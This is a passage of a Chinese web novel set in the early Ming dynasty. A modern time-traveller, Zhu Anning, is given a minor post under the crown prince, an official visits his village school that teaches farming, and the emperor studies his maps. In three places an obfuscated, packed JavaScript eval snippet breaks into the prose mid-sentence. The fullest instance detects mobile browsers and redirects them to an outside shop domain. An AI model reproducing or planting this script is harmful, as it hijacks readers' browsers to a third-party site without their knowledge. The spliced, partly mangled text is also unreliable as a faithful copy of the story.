他开口提了个问题。 迫切地想要从朱标或者朱元璋口中得到点答案。 可惜的是,朱标和朱元璋,也不知道…… 所以殿内陷入了尴尬的沉默之中。 最后还是朱元璋发了声。 “标儿,过两日你需再去朱安宁那一趟,不管他画了多少,通通给咱拿回来先,另外,遣人让沐英再快些回京,此次是他主攻,这些图他最需要熟悉。” “嗯,我正打算过两日再去一趟,这图实在是重要。” “嗯,其他人拿我都不放心,只能让你再去一趟了……不过下次去你带点亲卫去吧……”朱元璋抬头看了眼自己的儿子。 而就在此时,门外突然来了个太监求见。 这太监也是丝毫不敢莽撞,在老朱谈正事的时候,随意进去和找死没区别。 几个已经去阎王爷那里报道的太监们,已经对此事进行过多次的论证,没有一个死去的太监,有反对意见。 “进来,有事快说。” 看见朱元璋点头,那太监是低着头,快速跑到了朱元璋的身边,耳语了一番,然后还递了张纸条过去。 看朱元璋的脸色,那是相当精彩。 等到那太监退出宫殿。 朱元璋才缓缓开的口。 “永昌侯那边上报说家中两义子,冲撞了太子,自知死罪难逃,已经畏罪自缢,然后,这是他一块俸禄田的地契,他想交予太子殿下,以示赔礼道歉。” 朱元璋说得很慢,慢到足以让朱标慢慢思考那种。 哎……那两个义子,这般霸道,骂人那般粗鄙,想必也不是什么好人,但是蓝玉说杀就杀,也是相当不一般……怪不得朱安宁一说到勋贵就皱眉加摇头…… 无论如何,自己都要开始敲打这批老人了 朱标暗暗又给自己安排了新任务。 至于那两个义子的死,在场的人,包括不太了解详情的李文忠都能想通,怎么可能就是那两人自缢了呢。 是被迫自愿挂上了是吧。 “然后,这俸禄田……是带石膏矿的那片是吧。”朱元璋看了看那地契的内容,然后请轻笑了起来:“标儿,你好好给我说清楚怎么回事。” 朱标听完朱元璋的话,也是叹了口气。 这事,说来话长,一说话长,那就是说得累人。 不知过了多久,朱标才终于完整地说完整件事的过程。 “嗯……你就是趁机把那田收了回来是吧。” 朱元璋也没太把李文忠当外人,径直就和朱标聊了起来。 实际上在朱元璋的心中,李文忠的地位虽然比不上那些皇子皇孙,但是还是要比淮西勋贵们高一届的,所以这种事情,他也懒得让李文忠退下,听就听了,李文忠心思向来就细,是典型的不会乱说话的代表人物。 “算是吧,只是我也与朱安宁说了,他用这矿做原料,产的肥料,我这边要优先使用。” “你是想用军屯试一试效果?” “嗯,如果真的如朱安宁所说,真能增产个几成,还是很有试的价值的。” “行,这事就由你安排吧。” 两父子商量事情,就是突出一个高效。 在场中一直没有发言的李文忠,却在此时突然开了口。 “太子殿下,过几日你若是要去那朱安宁那里,能否带上我前去?” 他,突然提了个要求。 第一百二十一章 啊?就九品啊? “太子,臣查清楚了,那蓝玉的义子蓝梁……哦,现在应该叫成梁,家底清清白白,前些年遭旱,逃荒到应天府这边,然后做了永昌侯家的仆人混口饭吃,为人还算机灵,就被永昌侯收为义子,负责打理俸禄田。” 宋慎,宋濂的孙子,内廷序班,正在向朱标禀告相关事宜。 朱标正在处理那些零碎的政务,听到宋慎的话,抬起了头来,思索了片刻,沉吟道。 “辛苦了,如果这成梁没什么问题的话,你帮我把这地契送去永乐庄吧……” 朱标身边有跑腿能力的人其实有很多。 但是涉及永乐庄,他还是比较谨慎的。 本来他是想亲自去一趟的,但是这事务繁忙,确实抽不开身,只能让宋慎替自己跑一趟了。 朱标对于他的老师宋濂的孙子,那是相当信任的。 不说孙子,就是他老师的那几个弟子,他都相当信任,比如方孝孺。 “永乐庄?”宋慎皱起了眉头,似乎在思考什么:“是那个抽成只抽一成的庄子?” 宋慎声调高了些许。 永乐庄的名字,其实已经慢慢在应天府传来了,你要说让大家闲得蛋疼去逛永乐庄是不至于的。 但是这十抽一的抽法,实在是过于骇人,所以便就符合了新闻学传播的条件,不去那里,但是做谈资总是可以的嘛。 “这么有名了么?” 朱标听见宋慎的回话,也是愣了愣。 “啊……其实就是和刘璟刘大人闲聊的时候,他说起过,说真是佩服那永乐庄的地主……” “哦哦……那你应当知道永乐庄在哪吧。” “应是知晓的。” “那就麻烦你走一趟了。” 朱标没有多说什么,他把那俸禄田的地契,递了过去。 而宋慎也准备领旨退下。 正当此时。 朱标伸出去的手顿了顿。 宋慎也是识趣地停在了那里。 他看得出太子是在思考。 只见朱标在那自言自语:“这可是俸禄田啊,官田,要不趁机给他个官职?” 他笑了笑,似乎想到了什么有趣的东西:“这家伙能陪我唠这么多东西,说是伴读也可以吧,让他做个赞读吧!” 朱标哈哈笑了起来,整得宋慎自然是有些莫名其妙。 赞读? 这太子都多大了,还赞读? 不过太子说要给官职,自己一个小小的内廷官员,能说什么。 “宋慎,把这地契,给到永乐庄的庄主朱安宁,并且帮我带句话,太子很看好你,让你做个赞读如何,这地契啊,就是他这个赞读的俸禄田了。” 朱标慢慢地把话说完。 方便宋慎记下。 而这时的宋慎,终于是可以接过地契,退下。 殿内,朱标又是笑了笑,埋头,继续开始批阅内阁已经筛过一次的折子。 拿到地契的宋慎,多少还是一头雾水。 但是他有个优点,从来不多问,不多嘴。 这是他家老爷子宋濂教他的生存之道。 朱元璋曾经对他爷爷说过:卿为朕教太子诸王,朕亦教卿子孙矣。 意思就是,你老宋濂教了我的太子皇子,那现在轮到我来教你的孩子孙子咯。 这话也就听一乐就对了。 朱元璋哪来那么多时间教他。 但是却也是因为这句话,他在宫内是来去自如的。 宋濂告老的时候,知道宫廷凶险,特意交代的他,慎言慎行。 此时的宋慎,如他名字般,很是谨慎地换了套衣服,才出的宫门。 去永乐庄的路径,他早在出门之前就打听好了。 这事不过是跑个腿,顺便告诉某人太子爷赏了个职位给你罢了。 他准备麻利地把事情做完,然后好回城里歇息,毕竟在此之前他已经劳心劳力地去调查了成梁的背景,说不累那是假的。 结果,在那宫门处,迎头撞上了一个国字脸的年轻人。 那人看见宋慎,是连忙行了个礼。 “见过宋大人。” 那礼,是规矩得很,任谁来了都挑不出刺的那种。 “啊……希直?” 那国字脸年轻人,正是方孝孺。 此时的方孝孺,尚未有官职,所以他才会如此规矩地行礼。 “哎呀,希直,都说了你我之间,哪用那么大礼嘛……” 宋慎是有些无语。 他和方孝孺差不了几岁,他爷爷宋濂也是一同教的他们两人,算起来就是同窗,结果就因为自己有了官职,这方孝孺就是见他一次就给他一套规矩的大礼,整得他是多少有些无语。 只是他也知道,就是方孝孺直而已…… 直到,朱元璋明明很赏识他,却压到现在还没外派他去做地方官…… 宋慎早就和方孝孺说过几次这事情,让他不要这么做什么事情都一根筋……但是方孝孺哪会听他的…… “你为官,我且还是民,这宫廷门口,我行礼,何错之有!” “行行行,我不和你掰,我还有事,晚些再找你喝酒,吃饭你总不能还对我行 礼了吧,你这榆木脑袋真是……” 宋慎是一副牙疼的样子,绕了过去。 方孝孺看到宋慎的样子,他也不恼,他是一根筋,又不是没情商,宋慎对他好他还是知道的。 便也是点了点头,算是答应了。 终于走出宫门的宋慎又是加快了两步。 他怕耽搁朱标交代的事情。 虽然现在天色晚得慢,但是他对自己的脚程可没什么信心。 他从人来人往的官道,走到了逐渐稀疏的乡道附近。 “哦,就是这棵歪脖子树!长得一副就是很适合上吊的样子……”宋慎看着驿站对面那棵歪脖子树,是忍不住吐槽了两句。 此时的卫兵也发现了宋慎的存在。 其中一人是径直走了过来。 “来者何人,来此处有何事?” 这突然而至的提问,还是把宋慎吓了一跳的。 怎么进个庄子还要被卫兵盘问。 是自己长得很像贼人? 其实在此之前,驻守在这个驿站的亲卫们,都是以看为主,很少主动盘问来者…… 但是,前几日那场混战,可是把戚祥气得快要脑淤血。 在朱元璋责罚到来之前,就劈头盖脸地把驿站里的人骂了一顿。 这让过来换班的这两人,那是十二分地紧张,但凡有点风吹草动,那就是该出手时就出手。 看着凶神恶煞的卫兵,宋慎赶紧表明了自己的身份。 过来干嘛他肯定是不会说的,太子叫他过来肯定是机要事务。 “我是宋慎,序班,来此地有些要事。” 简单的名字加职务,已经足够让卫兵们放下戒备。 “是宋大人,职责所在,抱歉。”亲卫抱了抱拳,略带歉意。 “没事没事。” 宋慎摆了摆手……但是他还是不太理解。 这庄子里面有金子? 还专门搞了个驿站在这里。 真是莫名其妙…… 被放行的他,径直走到了乡道上。 然后看到的就是……寻常的村庄……吧…… 宋慎最开始是看见了水稻田。 这很寻常。 但是……这水渠是不是多了点…… 这么便利的么…… 然后,他还看到了菜地……作为读书人,他的常识水平还算过关,这是菜地吧!他惊叹了两声。 要知道,在没解决温饱之前,是很少有用宝贵的土地和人力去种菜这种东西的。 那是否可以说,这个村庄的人,对生计,暂时来说是不愁的。 被这看似寻常,却又不那么寻常的村庄景象吸引了目光的宋慎,不自觉地走歪了一点点路线。 他绕到了几间房子面前。 不算是很奢华的房子,就是简单的房舍……而透过窗户,他看到了十数个孩童,正端坐在那里,好像是在听先生讲课。 哇塞,这就真的很哇塞了。 作为读书人的宋慎,那是相当的感叹。 这地方居然能搞出乡学来。 真是不得了啊。 不说乡学耗财耗力,更重要的是,恩科已经好久没开过了啊…… 这永乐庄居然还能把乡学办下来,真是了不起。 他下意识地就停下了脚步。 驻足在那,想听听里面先生在讲什么。 因为视线的缘故,宋慎看不清先生所在的方位,他只能看到孩童。 这群孩童,有大有小,衣服很多还打着补丁,看着就不是什么有钱人家的孩童。 “昨日,季畾先生和季廌先生应该已经开始教你们认字了,有好好学么!!!” “有!”孩童们的声音整齐划一,这精气神,也是让宋慎忍不住点了点头。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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虽然朱安宁现在还没官职……毕竟还没就任赞读嘛。 但是宋慎也没摆什么架子,他也就是个序班而已。 “太子?!”朱安宁本来已经闭上的嘴巴,又张大了许多。 我靠,伍文强啊,说能跟太子说,就真跟太子说了是吧。 他提取到了地契这个关键字。 不必说,就是永昌侯蓝玉家那块带石膏矿的土地的地契了呗。 虽说要拿永昌侯的地,他朱安宁是很虚的,但是这是太子默许的,他的胆子突然就能大一点点了。 宋慎从身上掏出了那地契,先是仔细地确认了一番,确认没问题后,才递给了朱安宁。 “传太子口谕。”递地契加开口,宋慎是一气呵成。 当朱安宁还在犹豫要不要像鞑子戏里演的那般跪下的时候,宋慎早就继续说了下去。 “太子很看好你,让你做个赞读如何,这地契啊,就是你这个赞读的俸禄田了。” “啊?”朱安宁一时有点不能接受。 不是应该拿出一份黄色的金帛,然后高唱一遍,好让自己跪下的么。 以及,这……这怎么这么口语话。 可恶,电视剧的滤镜都碎了啊。 朱安宁在郁闷了片刻后,也是终于开始回味宋慎的话。 “俸禄田?赞读?赞读是什么?” “朱庄主,东宫赞读,你可以理解为太子身边的伴读。” “那为什么不叫伴读呢?” 朱安宁问得很是直接。 宋慎则是惊叹于,这朱安宁的愣头青。 这朱安宁怎么有点像自己的朋友方孝孺啊! “朱庄主,伴读,这说法太过寻常,不是官职,赞读,那就是正儿八经的官职了。” “官?我被赏了个官?我去?几品啊?” 能不能问得婉转一点呢?宋慎很想翻白眼。 但是,他还是大慈大悲地解释给了朱安宁听:“九品……” “我草……” 于是,朱安宁也发出了感叹。 九品,真踏马抠啊。 第一百二十二章 朱大人我可太想进步了 院中的树摇摆了一下。 似乎是在倾听下方两人的故事。 朱安宁站在树荫中,想到的是以前看过的电影……星爷的…… 九品,那就是芝麻官。 听到的第一瞬间,朱安宁同志还是有些嫌弃的。 但是这也是官啊。 而且九品,好像也不用背什么锅的样子…… 甚好甚好。 所以朱安宁的嫌弃,只维持了一瞬,很快他又笑了起来。 这让宋慎一时之间也是有些意外。 这朱庄主,怎么一时一个表情。 只见朱安宁也是连忙拱了拱手,虽然不知道眼前的人是谁,但是估摸也是和那伍文一样的,是东宫的官,嗯?那不就是自己未来的同事? 不过刚才听他的语气,什么东宫赞读,大概率也就是个闲职而已,太子爷笼络自己用的吧。 朱安宁对这职位的定位还是挺清晰的。 朱标的想法居然被他猜了个大概。 宋慎也跟着又拱了下手。 “宋慎,内廷序班。”他边回礼边自我介绍。 这开口就把朱安宁给弄迷糊了。 我靠,前几天来了个蓝玉。 今天怎么又来了个叫得上号的人啊…… 朱安宁看向宋慎的眼神那是多少有点奇怪的…… 因为他清楚地记得,宋慎……是宋濂的孙子,好像是受胡惟庸的牵连还是说宋濂他没有及时在帝庆节的时候如约进京陛见…… 总之就是被连累,砍头了的倒霉蛋…… 怎么……这人还没死? 等下,宋濂被连累是哪年来着? 这胡惟庸才香了没多久,宋濂好像是第二年才出事的吧。 他陷入了沉思。 却也是让宋濂一脸莫名其妙。 这人怎么盯着自己看不说话…… 好生没礼貌…… 过了数秒,朱安宁也是回过了味来,确实有点不妥…… “见过宋大人……您……是宋濂宋大学士的……”朱安宁说得有点慢。 宋慎则是叹了口气,心想的是,怪不得刚才这朱安宁会盯着自己不说话,原来也是想到了自己家老爷子是吧。 对于这种事情,他并不意外,谁让自家老爷子有实力呢。 他宋大人,即是东宫的宋大人,更是宋濂家的孙子。 这并不冲突。 所以只见宋慎拱了拱手,回到:“宋濂正是我的祖父,只是他已经告老还乡了。” 嘿,还真就是退休了是吧。 “宋大学士,还安好吧。” “入夏时染了点病,虽说无什么大碍,但是年纪摆在那里,总归是需要静养的。” 宋慎只当这是寒暄,便也没有隐瞒什么,他随口回道。 完蛋咯,身体抱恙,你家大爷不来应天府的话,明年指不定你个小老弟,脑袋就要没了啊。 要不要提醒一下他呢…… 朱安宁是有些纠结的。 毕竟……他无从开口。 总不能说你大爷快来京城不然你全家都要被嘎了之类的话吧…… 所以场面一时又尴尬了起来。 倒是宋慎还算是能说会道,他只以为是朱安宁不善言辞,便主动接话说道。 “总之,还是恭喜朱庄主,嗯,现在应该叫朱大人了,你我皆为东宫臣子,要相互扶持,辅佐好太子呀。” 这番话那是抬了朱安宁实际又抬了他自己。 实际上他也知道,什么赞读,估摸就是个闲职而已,但是场面话还是要说的嘛。 朱安宁也不是什么职场新人,这些客套话他还是听得出来的。 辅佐太子…… 你宋慎怕还是能出点力的。 自己的话还是算了吧,不过有官职在身,也不是什么坏事,只要不是朝廷里那六部的倒霉蛋们就行…… 未来还有几个大案呢,不嘎个几轮,朱重八他是不会消停的…… 不过朱大人这个称呼,嘿嘿,听着还是挺爽的,比什么朱庄主,朱爷要得劲得多呀。 没想到自己一个舞铲阶级,来到古代,顺利地成为了地主阶级,最后还能跃迁成统治阶级的一个小卡拉米。 真魔幻。 当然,宋慎的官场客套话,他还是要回的。 于是他也连忙拜谢道。 “宋大人想必已经是太子的左臂右膀,我等小小赞读,那要跟宋大人学习的地方,还很多啊,宋大人,我可太想进步了。” 他笑呵呵地回了话。 却也让宋慎有些改观,刚才还一副不善言辞的样子。 而现在这老油子的气息是怎么回事,怎么一副好像已经当了好几年官的样子……真是奇怪。 不过算了,关自己这个序班什么事呢,完成太子爷交代的任务,赶紧回去找那方希直喝酒算了。 他在心里盘算,却又忽然想到了那奇怪的学堂,终于还是忍不住问了一嘴。 “对了,朱大人,此地的乡学,是你创办的么?” 按照常理来说,乡学要么就是朝廷办的,要么就是地方乡绅族老的杰作,恩科已经数年未开了,这公办乡学,那是 早就所剩无几了,所以只能说是朱安宁办的概率最大,宋慎也是问的直接。 朱安宁也不觉得这是什么值得隐瞒的事情,便点了点头。 “正是,宋大人路过见着了?” “嗯,不太熟悉这庄里的道路,便拐到了那边去,恰好听到了先生授课……”宋慎是说得有点犹豫,毕竟他也不知道这乡学教那些东西是不是朱安宁授意的,万一只是那教书先生自己的主意,那他宋慎不就砸了人家饭碗了么,这么做不是很道德啊。 “啊,学堂讲的东西,宋大人觉得奇怪是吧。” 是朱安宁主动接上了宋慎的话题。 “那学堂确实是我创办的,让乡里的孩童们学学字而已,并不说要参加科考或者入仕那种,我们这地界没有没有这条件啊。” 他笑呵呵地说道。 却也是把宋慎整得更好奇了。 读书读书,书中自有黄金屋,那就是为了出人头地。 这个观念那是根深蒂固的。 其实也不怪宋慎会觉得朱安宁的说法有问题。 在古代封建社会之中,这读书和做官,已经是绑在一起了,再次也是想拼个秀才功名在身。 不过对宋慎来讲,那个令他好奇的重点不是识字去干嘛…… 而是,这授课的内容,也太奇葩了吧! “呵呵,孩童们识字是好事啊,但是我路过时还听见了教书先生,似乎在教孩童们……认路边的野草?” 他不是很确定,毕竟这事太过神奇。 没想到的是,朱安宁听完后,表情没有任何变化。 “啊……我安排的。” 嗯??? 识字不去考功名就算了,这教野草是个什么说法。 见宋慎这个表情,朱安宁也是连忙解释了起来。 “宋大人应该只是听了个开头,先生并不是想教他们认野草。” “哦?难道是以野草为典故,教孩童们一些名家篇章?我想想难道是白居易先生的《赋得古原草送别》?离离原上草,一岁一枯荣。野火烧不尽,春风吹又生……” 宋慎唱歌似地开始念诗。 把朱安宁是念得一阵头疼。 怎么这宋慎看起来还挺正常的,一说到学堂就这么古典。 这哥们联想能力也太丰富了吧,估摸就是他安排的让朱橚他们从狗尾巴草入手教草和稻的相同点和不同点……结果这宋慎直接就开始引经据典…… “宋大人,并非如你所想,那群孩子才刚刚开始识字,这白居易先生的大作,他们恐怕要过些时日才好学……” “嗯?那还有更简单的关于草的名作?我想想……” 宋慎又陷入了沉思。 而朱安宁则连忙开口说出了实情:“宋大人,那草,估计是我安排先生讲授的关于草和稻的异同的课。” 这下轮到宋慎蒙圈了。 怎么这朱安宁说的每个字他都听得懂,但是串起来后就听着这么奇怪呢? 草就是草。 稻就是稻…… 这朱安宁是脑子有包? 他迷茫地望向了朱安宁。 其实朱安宁本来是不想解释那么多的。 但是看这宋慎老哥从宫里跑那么远过来,给自己送地契,又是带口谕什么的。 他也不想太过敷衍,才说好好解释的。 只是,看起来,这宋慎好像是没听懂…… 他便也是只能继续解释下去。 “这些孩童都是农户,且都是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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不过好像小燕小周季畾他们几个,还算认同自己的看法。 也许他们是地主之后的缘故? 朱安宁是摇头兼叹气。 然后又忽然乐了起来。 哎呀,今天起,他朱安宁就是朱大人了。 改天伍文过来,得让他向太子讨件官服才行,虽然自己好像就是个闲到连太子都不用见的闲官……但是穿个官服过过瘾也是极好的嘛。 更重要的是,这地契到手了! 可以和成梁,商量下一步的计划咯! ———————————————————— 走回乡道的宋慎,在准备走到驿站处的时候,突然停下了脚步。 他在卫兵的注视下,又折返了回去。 只不过,并不是走向朱安宁的小院落,而是再一次走向那学堂。 正当他顺着高高的草丛,拐过一道小弯时,迎面撞上了一个年轻人。 两人都没想到这个时候乡间道路还会有其他人。 那是直接撞了个满怀,叫疼是不可避免的。 “唉哟。” “诶啊。” 两人一同惊叫出声。 吃疼的宋慎,揉了揉被撞到的膝盖,抬眼看向了对方。 然后是愣了起来。 因为对面的人他认识……应该算认识吧,主要是变化有点大,宋慎一时不能确认。 “刘畾?”他带着不确定的语调,向对方问道。 “嗯?宋慎?你怎么在这?”同样是才抬起头来的刘畾,也是相当地懵。 “真是你,你……你你……你怎么黑了那么多?黑得跟个昆仑奴似的……” “呃,夸张了吧,我是黑了点,但是也没有这么黑吧!” 他们,是正儿八经的同窗,一同跟着大儒们学习的同窗。 所以见到对方在这里,都是相当惊讶。 “不是,宋慎,你来这里干嘛?” “我?先别说我,你在这里干嘛,还晒这么黑……我说怎么有段时间没见到你了……” 第一百二十三章 肥料怎么就不正经了? 村道上。 田埂边。 有青蛙跳过小水沟,看了一眼傻站在路上的两人,多少有点好奇。 然后,它呱了一声,跳离了现场。 而还留在现场的,宋慎和刘畾就显得有些支支吾吾……不知道该说些什么好。 两人熟是挺熟的,酒也喝过不少。 平日里也算是有私交的那种。 但是现在两人都知道现在自己干的活,是不太好公之于众的啊……一个奉命传话,一个奉旨耕田。 天知道上面的大佬,有没有什么其他安排。 要是被自己的胡说八道给耽误了,自己家有几口人,乡下就要多几口坟了啊…… 这可不能乱说。 结果,最后还是宋慎打破了僵局。 毕竟要说老油子,还是他油,好歹是已经有官职的人,在官场历练过些时日的宋慎,自然不是刘畾这种还没入仕的小年轻可比的。 只见他打了个哈哈。 “我就是过来跑一趟腿而已。” 至于帮谁,跑来这里干嘛,这可不能说。 刘畾又不是弱智,他立马就听出了,这命令他跑腿的对象,不是陛下就是太子,除了这两个人还有谁差遣得动他宋慎嘛……总不能是他家老爷子或者他爹吧,他爹能叫他来干嘛……宋家和永乐庄,那是完全没有任何关联的啊。 “我也差不多……”于是刘畾也回了一句,声音虽不大,但是也是足够宋慎听清楚了。 他也差不多的意思是,也是奉上面的命,毕竟他刘畾可是奉旨耕田…… 两人说了话,又好像什么都没说似的……相视一笑,便也没有再相互追问下去。 其实宋慎还是有点好奇刘畾为什么会出现在这里,为什么会黑得跟块炭似的。 但是,要慎言慎行嘛,他没有多嘴,而是把目光移向了两人眼前的建筑那。 正是那不时传出人声的学堂。 宋慎在挣扎,他知道这乡学一定有问题,甚至朱安宁的身份来历都有问题,更别说现在还遇上了这刘畾…… 再联想到村口那莫名其妙的驿所,和上来盘问他的卫兵,这庄子就是透露出一股不一般的气息…… 越是这种地方,越是这种秘密多的地方,越不能有好奇心。 但是这学堂呀,又是那么地勾人。 所以他很挣扎。 爷爷的慎言慎行在提醒他,立马走人绝对是最好的选择。 但是他对学堂的好奇心,又把他拉到了这屋子边上…… 看了许久,他还是忍不住问了出声, “刘畾,你说这学堂……我刚听了一下,好像不教四书五经啊……”宋慎指了指那屋子:“那群孩童也不像是读书人该有的样子。” 此时,两人同时都听见了,里面的话语。 “肥,是给植物提供荣养的,但是肥,是不是越多越好呢!我们来做个小实验!”有人大声说道。 “什么叫实验!”孩童们乱糟糟的声音也响了起来。 “哎,你们围上来看我操作先。”而很快,就有人压过了孩童们的声音,下了指令。 接着,屋内便传来了一阵不太好闻的味道。 “啊,先生,什么味道啊!” “农家肥不就是这个味道么,沤好了又不是很臭,粪黄金啊!” 学堂里的声音,立马显得有些闹哄哄。 更加是让宋慎露出了不可思议的表情。 教的什么乱七八糟的东西! 而且课堂上为什么这个先生会叫学生围上去啊!这成何体统! 这些事情,实在是让宋慎难以理解。 却又好奇满满。 于是,他不自觉地凑了过去。 刘畾一开始还惊了下,他下意识地想拦住宋慎,像是什么秘密被人发现的感觉……只是在最后,他还是忍住了。 这学堂开课前,朱安宁也是交代过的。 首先他们会教的东西本就不同于正常学堂,十里八乡有人听说了这学堂不一般,好奇来看的话,不用管。 毕竟人多了想管也管不住啊。 另外,朱安宁也起了些打广告的心思,在他的设想中,永乐庄职业技术学校,肯定是要扩建的,所以提前让其他地方的乡亲们熟悉下,也没什么问题嗷。 届时永乐庄学费全免包午饭,外村的交些束脩,那扩建的速度就可以更快些啦。 做大做强!再创辉煌! 不对……应该是要创辉煌! 只是他他想不到的是,第一个好奇看过来的,不是农民,也不是地主,甚至都不是京郊的人,他是一个士大夫阶级的人。 传统儒学思想教导出来的,正经读书人,宋慎凑到了窗口那里。 看见了满屋子的孩童,正围着一个年轻人,在那闹哄哄地笑着。 宋慎一下就看清了那个年轻人的脸庞。 和刘畾一样黑,和刘畾长得又有几分相似。 那人正把某些东西倒到面前种着植物的泥盆中。 “刘廌?”宋慎轻声惊呼,回头想找刘畾确认。 刘畾也没躲,只见他点了点头,示意宋慎没认错。 “ 刘廌他在干嘛?”宋慎一脸无言的样子。 当世大文豪,刘基的孙子,刘廌,在这里,带着一群农家的孩子在那把玩肥料…… 这在宋慎的视角看来是极富冲击力的。 什么慎言慎行,一下就被他抛诸脑后。 “刘畾,刘廌他在干嘛?他在教什么乱七八糟的东西?!” 看见一脸惊讶甚至是有些不爽的宋慎,刘畾并不意外。 或者是,放在来永乐庄之前,自己看到这幅场景,也会大叹有违孔孟之道,学堂这种地方怎么能讲这种上不得台面的东西? 有辱斯文啊! 只是,现在的刘畾是完全能接受朱安宁的想法的。 这说明,朱安宁这么多天的晚上,对他们的思想教育改造其实是相当成功的。 “宋慎,这可不是什么乱七八糟的东西。”刘畾说得不算大声,情绪非常稳定。 但是却让宋慎更加睁大了眼睛,怎么不是乱七八糟的东西,虽说农是在上九流,但是正经读书人,谁会去碰这些东西啊! “四书五经六艺,这才是自古以来,学堂该教的东西!一个通晓孔孟之道的大儒之后,在这学堂里不教正经东西就算了,还在那里摆弄那些上不得台面的东西!” 宋慎说得有些激动,幸好声音不算大。 “自古以来?那四书五经六艺之前的时代,孔孟之前的时代,又有什么是学堂必教的呢?”刘畾轻轻一笑。 关于这种事情,他们早就和朱安宁辩过了。 这便是朱安宁的原话。 “荒谬,那就不说自古以来……程朱立说至今,君臣纲常,世人皆知,刘廌不教这些,反而在那……这不是瞎胡闹么。” 宋慎也懒得引经据典,毕竟学堂教什么内容,这是常识!常识啊! 只见刘畾听了也不恼。 他长长地叹了口气。 忽然笑了起来。 “正如先生所说,我们读书人,始终是有些傲慢啊。” “傲慢?孔孟著说,程朱立学,我等正是循着圣人们的思想,辅佐帝王,平天下,安九州,何来傲慢之说?!” “我没有否认我们迄今所学的东西。”刘畾顿了顿,看了眼宋慎,才继续说了下去:“但是,仅靠我们所学的东西,就完全够用了?你吃的米饭从何而来,你穿的衣裳由谁制备,你脚踩的鞋子,又是如何生产?你有了解过么?” “我……我了解这些干嘛……” “百姓,不需要知道孔子的逝者如斯夫是什么意思,他们需要粮食,衣裳和鞋子,你能给他们么?” “我……熟读圣贤书,才能有治世经纬之才,百姓安居自然乐业……” 宋慎越说越小声。 倒不是他说的东西没道理。而是他说的东西道理太大,太空,而刘畾说得那叫一个实在。 “纸上得来终觉浅,绝知此事要躬行,先生教导过我,事无贵贱,只看是否有必要,而刘廌,刚才教孩童们的事情,就是有必要的事情。” 刘畾也没管宋慎那动摇的内心,他随口又补了一句。 于是,迎上刘畾的目光,宋慎居然有了想逃跑的想法。 “呃,刘兄,我……我尚有要事,就先走一步了。” “啊?宋兄,你不继续听么?这耕种一事,门道可深了……诶?宋慎……哇,走得真快……” —————————————— 朱标当然不知道他只是派宋慎去送点东西,都能发生那么多事情。 此时的他,正在和他老爹研究朱安宁给的地图一角。 这几天,宫中的舆图不断被拿出来,和朱安宁给的地图对应。 这事很是耗时耗力,所以两人还找上了李文忠和李善长。 毕竟舆图也不是大白菜,谁都能看,所以只能挑两个能触碰到核心机密的人来看才保险。 几个人蹲在那里研究了半天。 最后的最终结论,和前几日刚拿到图时的结论一样。 这图,保真。而且,比宫内的图要精细超级多。 “上位,这图,巧夺天工啊,有此舆图,那此次北伐,定能首战即终战。” 李善长是着实被这地图震撼到了。 当然了,除了朱安宁外,每一个人看到这图的人,都会被震撼。 只是震撼归震撼,李善长说的话可不是什么吉利台词。 包括朱元璋在内的剩下三人都看向了他。 此时的李善长才意识到,这话……好像是陈友谅那个死鬼说过的……确实不太吉利。 首战即终战,一战定乾坤,陈友谅在鄱阳湖大战前说的名言,然后他就进湖里喂鱼了。 这句话流传很广,所以朱元璋等人才会一脸无语地看向他。 这让李善长是瞬间慌了神,拍马屁水平下降了啊,遥想当年,自己拍马屁水准那是相当高的啊,不得不服老…… “上位,上位……我的意思是,定能旗开得胜。” “行了行了行了,咱又没说你什么,这图确定没问题的话,标儿,抓紧时间去朱安宁那里,催他把剩下的画出来!画不出,抓到宫里来画!” 朱元璋拍了拍桌子, 又是兴奋,又是恼火。 兴奋自然是这次北伐的把握,一下又大了很多。 虽然他是坚定的北伐人,但是第二次失败的经历,还是让他有些后怕。 新生的大明,是禁不起两次失败的! 而恼火,自不必说 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13378727|141046||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,对象就是朱安宁了。 这家伙,有这等好东西,也不早点献上来,真是一点都不自觉! 哼哼,要不是看在他一心向着大明的份上,他老朱早就围了他那小破院,抄家然后绑回宫里做官了。 “呵呵,安宁小弟应该也是才想起有这图吧,他哪能有什么坏心呢?”朱标在旁边不漏声色地帮了朱安宁一嘴。 这让李善长很是惊讶。 看起来,太子和这朱安宁,关系不错? 这又是个什么情况,怎么自己没能掌握到那么重要的信息。 “啧,行,你东宫的人,你自己管好就行。”朱元璋听见朱标的帮腔,也是轻笑了起来。 这番说辞之后,就不仅是李善长睁大眼睛了。 连一旁闭目装死的李文忠都侧目看向了朱标。 关于朱安宁的安排,在盘算好后,朱标自然是和他老爹沟通过的。 不过这事在此之前也就是他们两和传话的宋慎知道。 当然啦,现在又多了两人。 “给了他个闲职而已,不过也算是我东宫的官了。” 朱标笑着说道,不知道是说给朱元璋听还是说给李善长和李文忠听。 只见两人是若有所思。 明初不像其他朝代,这个时间点,是不存在站队这一说的。 因为太子稳如老狗…… 毫无竞争对手,就算他把皇位让出来,他那些个弟弟,也没人敢坐上去的那种。 甚至于,民间曾经流传过,朱元璋巴不得他好大儿造反好让他快点当皇帝的清奇说法。 这也能看出,朱标的地位之高了。 